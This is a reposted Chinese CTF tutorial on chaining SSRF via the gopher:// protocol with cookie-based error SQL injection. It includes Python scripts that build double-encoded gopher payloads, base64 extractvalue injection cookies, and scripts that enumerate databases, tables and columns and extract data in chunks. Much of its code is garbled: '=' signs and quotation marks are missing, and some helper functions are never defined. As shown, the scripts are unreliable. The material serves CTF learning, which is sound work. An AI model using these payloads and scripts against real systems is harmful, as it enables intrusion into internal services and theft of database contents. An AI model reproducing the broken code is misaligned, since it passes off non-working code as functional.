从一道CTF题出发,手把手教你用Gopher协议玩转SSRF+SQL注入(附Python脚本)
从零构建Gopher协议攻击链SSRF与SQL注入的深度实战指南当你第一次在CTF比赛中遇到SSRF漏洞时是否曾被Gopher协议的神秘面纱所困扰作为内网渗透中最强大的协议之一Gopher能够将SSRF的杀伤力提升到全新高度。本文将带你从协议原理到实战复现完整构建一条GopherSQL注入的攻击链。1. 环境侦察与漏洞定位任何成功的攻击都始于精准的信息收集。假设我们面对的是一个典型的CTF题目环境初步探测尝试基础输入如1和1测试注入点但发现没有明显回显源码审计查看页面源代码时发现隐藏的use.php端点协议识别访问该端点后确认存在SSRF漏洞专业选手往往会在源码注释、JS文件甚至错误信息中寻找隐藏端点这是CTF中的常见套路SSRF漏洞的核心价值在于它能绕过网络边界直接访问内网服务。以下是几种常见利用方式对比协议类型典型利用场景限制条件file://读取本地文件通常有路径限制dict://端口扫描和服务探测返回信息有限gopher://完整协议交互需要精确构造请求2. Gopher协议深度解析Gopher协议诞生于1991年虽然早已退出主流互联网舞台但在安全领域却焕发第二春。它的独特之处在于支持构造任意格式的网络请求能够封装HTTP、FTP等多种协议流量服务器端不会对请求头做严格校验一个典型的Gopher URL结构如下gopher://host:port/gopher-path_TCP数据流其中TCP数据流需要经过两次URL编码。来看一个实际的转换示例import urllib.parse original POST /index.php HTTP/1.1\r\n encoded urllib.parse.quote(urllib.parse.quote(original)) print(encoded) # 输出POST%2520/index.php%2520HTTP/1.1%250D%250A理解这个编码过程至关重要因为任何字符错误都会导致请求失败。常见需要特殊处理的字符包括空格 →%20→%2520回车换行 →%0D%0A→%250D%250A冒号 →%3A→%253A3. 构建初级攻击载荷让我们从最简单的身份认证绕过开始。假设我们发现目标使用基础的身份验证payload POST /login.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 25 unameadminpasswdadmin转换为Gopher格式的完整Python脚本from urllib.parse import quote def build_gopher_payload(data, host127.0.0.1, port80): encoded quote(quote(data)) return fgopher://{host}:{port}/_{encoded} http_request POST /login.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 25 unameadminpasswdadmin print(build_gopher_payload(http_request))执行这个脚本后我们会得到一个完整的Gopher链接通过SSRF漏洞发送这个链接即可尝试登录。4. 发现并利用Cookie注入点在上一阶段成功获取到Cookie后我们发现响应头包含Set-Cookie: sessionYWRtaW4%3DBase64解码后得到admin这表明可能存在Cookie注入。我们构造报错注入载荷admin) and extractvalue(1, concat(0x7e, (select version),0x7e)) #对应的Python转换脚本sql_payload GET /index.php HTTP/1.1 Host: 127.0.0.1 Cookie: sessionYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpICM Connection: close print(build_gopher_payload(sql_payload))这个注入成功后会返回数据库版本信息确认注入点有效。接下来我们就可以进行更深入的数据探测。5. 自动化数据库枚举技术成熟的攻击者不会手动构造每个请求而是编写自动化脚本。以下是数据库枚举的完整流程获取当前数据库admin) and extractvalue(1, concat(0x7e, (select database()),0x7e)) #列出所有表table_payload GET /index.php HTTP/1.1 Host: 127.0.0.1 Cookie: sessionYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVCh0YWJsZV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkpLDB4N2UpKSAj Connection: close 提取表结构admin) and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_nameusers),0x7e)) #将这些步骤封装成自动化工具def enumerate_database(): steps { current_db: select database(), tables: SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase(), columns: SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name{table} } results {} for name, query in steps.items(): payload build_sql_payload(query) results[name] send_payload(payload) return results6. 高级注入技术与数据提取当遇到数据截断时可以使用substring或left/right函数分段获取def extract_large_data(query, chunk_size30): result for i in range(0, 1000, chunk_size): chunk_query fselect substr(({query}),{i},{chunk_size}) payload build_sql_payload(chunk_query) chunk send_payload(payload) if not chunk: break result chunk return result对于最后的flag提取典型的攻击链如下确定flag可能在的表和列检查数据长度select length(flag) from flag_table分段获取数据select right(left(flag,40),20) from flag_table组合最终结果完整的Python自动化脚本应该包含以下功能Gopher请求构造器SQL注入载荷生成器响应解析器错误处理机制结果可视化输出在真实CTF比赛中这种系统化的方法远比临时拼凑的脚本高效可靠。记住理解每个技术环节的原理比单纯获取flag更重要——因为下一道题目总会以新的变种出现。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2591958.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!